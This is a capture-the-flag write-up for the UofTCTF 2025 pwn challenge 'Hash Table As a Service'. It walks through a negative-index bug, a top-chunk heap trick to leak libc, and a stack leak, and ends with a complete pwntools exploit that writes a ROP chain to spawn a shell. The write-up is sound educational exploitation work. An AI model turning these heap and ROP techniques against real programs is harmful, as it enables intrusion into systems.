UofTCTF 2025 - Pwnable Write up
I solved 3 pwn challs out of 3 during the CTF (Book Editor, Counting Sort, Hash Table As a Service).
Among them, I want to write down the last one.
Hash Table As a Service (15 solves)
[0x01] Summary
- Utilized negative indexing on
hashTables
to achieve AAR/AAW primitive. - Leveraged heap manipulation techniques to leak heap and libc addresses, then obtained a stack leak using AAR.
- Injected a ROP chain on stack and spawn a shell.
[0x02] Solution
There were three features in this binary like creating hash table, set hash table, and get hash table.
1
2
3
4
5
6
7
8
9
10
11
struct HASH
{
__int64 size;
hash_content *content;
};
struct hash_content
{
__int32 key;
char value[8];
};
Through a global array (hashTables
), those features are implemented and it has 20 HASH
entry. And each hash entry has a pointer of hash_content
structure.
1
2
3
4
// creating hash table
printf("Size: ");
__isoc99_scanf("%ld", &size);
if ( (unsigned int)allocHashTable(size, &hashTables[index]) )
There was a no limit about the size of hash table, so I can set arbitrary value on BSS.
And I found that the hash table index can have negative value on the set/get hash table features. It means that we can use not only hashTables
array in BSS, but also the pointers in binary.
1
2
pwndbg> x/2gx 0x555555558040 - 0x250
0x555555557df0: 0x000000006ffffef5 0x00005555555543b0
Luckily, there was a good target which can be used as a HASH
structure. It have a large size and its pointer is referencing the address which is less than hashTables
array.
Before that, it is important to know how the program retrieve the hash_content
structure from the HASH
structure.
1
2
3
4
5
6
7
8
9
10
11
hash_content *__fastcall getHashTable(HASH *hash, int key)
{
unsigned __int64 hash_index; // [rsp+10h] [rbp-10h]
hash_content *content; // [rsp+18h] [rbp-8h]
hash_index = (unsigned __int64)key % hash->size;
content = hash->content;
while ( key != content[hash_index].key && memcmp(&empty, &content[hash_index], 0xCuLL) )
++hash_index;
return &content[hash_index];
}
We can input a index of HASH
and a key of hash_content
and the program picks up a HASH
structure from index with hashTables
. Then it uses the key as a index of hash_content
and search it until one of the following conditions is satisfied:
- dereferenced key is same with the entered key.
- dereferenced
hash_content
is filled with zero.
To use the target hash table which I introduced above, I created a hash table which has a same size with the offset from the target and printed the heap address.
1
2
3
4
5
6
7
8
pwndbg> x/8gx &hashTables
0x555555558040 <hashTables>: 0x0000000000000000 0x0000000000000000
0x555555558050 <hashTables+16>: 0x0000000000000000 0x0000000000000000
0x555555558060 <hashTables+32>: 0x0000000000000000 0x0000000000000000
0x555555558070 <hashTables+48>: 0x4141414100000510 0x00005555555592a0
pwndbg> x/2gx 0x00005555555543b0 + 0x510 * 0xC
0x555555558070 <hashTables+48>: 0x4141414100000510 0x00005555555592a0
Because I can only modify and read 8 bytes from hash_content->value
, I was only able to acquire and modify the 4 bytes of the heap and it was enough to get advanced.
By using it, we can overwrite any value within the heap segment and make a freed chunk in a unsorted bin without calling free()
from top chunk. If we could modify the top chunk’s size with the page-alignment size lowering previous top chunk’s size and allocate a bigger size than its size, we can get freed the top chunk (you can see the details from house of tangerine)
From the freed top chunk, we can leak the base of glibc segment.
Also, we can set AAR/AAW primitive from the good target.
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/2gx 0x555555558040 - 0x250
0x555555557df0: 0x000000006ffffef5 0x00005555555543b0
pwndbg> x/2gx 0x00005555555543b0 + 0x50F * 0xC
0x555555558064 <hashTables+36>: 0x414141410000050f 0x0000051041414141
pwndbg> x/8gx &hashTables
0x555555558040 <hashTables>: 0x0000000000000015 0x000055555555cf70
0x555555558050 <hashTables+16>: 0x0000000000000155 0x000055555557a010
0x555555558060 <hashTables+32>: 0x0000050f00000000 0x4141414141414141 # <-- hashTables[2]
0x555555558070 <hashTables+48>: 0x4141414100000510 0x000055555555d07c
We can set any address to read and write and we already know the libc’s base. Then I did ROP on stack. My solver code is following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*
context.binary = ELF("./chall", False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", False)
# libc = ELF("./libc.so.6", False)
def new_ht(idx, size):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b": ", str(idx).encode())
p.sendlineafter(b": ", str(size).encode())
def set_ht(idx, key, value):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b": ", str(idx).encode())
p.sendlineafter(b": ", str(key).encode())
p.sendafter(b": ", value)
def get_ht(idx, key):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b": ", str(idx).encode())
p.sendlineafter(b": ", str(key).encode())
def get_ht_brute(idx, key):
p.sendline(b'3')
p.sendline(str(idx).encode())
p.sendline(str(key).encode())
p = process(aslr=0)
# p = remote('localhost', 5000)
# 1. heap leak through same size with the offset
new_ht(3, 0x510)
set_ht(-0x25, 0x510, b'A'*4)
get_ht(-0x25, 0x510)
p.recvuntil(b'A'*4)
heap = u64(p.recv(4).ljust(8, b'\x00')) - 0x2a0
log.success(f"heap base @ {hex(heap)}")
# 2. make unsorted bin by overwriting TOP chunk
new_ht(0, 0x100 // 0xC)
set_ht(-0x25, 0x510, b'A'*4 + p32(heap + 0x4070))
set_ht(3, 0, b'A'*4 + p32(0xf91))
# 3. leak libc from heap
new_ht(1, 0x1000 // 0xC)
set_ht(-0x25, 0x510, b'A'*4 + p32(heap + 0x4080 - 0x4))
get_ht(3, 0)
p.recvuntil(b"Value: ")
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym._IO_2_1_stdin_ - 0x240
log.success(f"libc base @ {hex(libc.address)}")
# 4. stack leak through AAR
set_ht(-0x25, 0x50F, p64(libc.sym.environ - 4))
get_ht(2, 0)
p.recvuntil(b": ")
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x120
log.success(f"stack @ {hex(stack)}")
# 5. clear stack with zero
set_ht(-0x25, 0x50F, p64(stack - 4))
set_ht(2, 0, p64(0))
for i in range(0x10):
set_ht(-0x25, 0x50F, p64(stack - 4 + i * 8))
set_ht(2, 0, p64(0))
# 6. write ROP payload on main RET
rop = ROP(libc)
rop.call(rop.find_gadget(["ret"]))
rop.call("system", [next(libc.search(b"/bin/sh"))])
payload = rop.chain()
payload_list = []
for i in range(len(payload) // 8):
payload_list.append(u64(payload[i*8: (i+1)*8]))
for i in range(len(payload) // 8):
set_ht(-0x25, 0x50F, p64(stack + 0x18 - 4 - i * 8))
set_ht(2, 0, p64(payload_list[-1 - i]))
set_ht(-0x25, 0x50F, p64(stack - 4 - (stack >> 32) * 0xC))
set_ht(2, (stack >> 32), p64(payload_list[0]))
p.sendlineafter(b"> ", b'4')
p.interactive()
The intend solver by the author, cleverly using only the hash features, similarly frees the top chunk to get libc base, repeats the process two more times to create tcache dup, and finally overwrites _IO_end_buf
of stdin
to perform FSOP.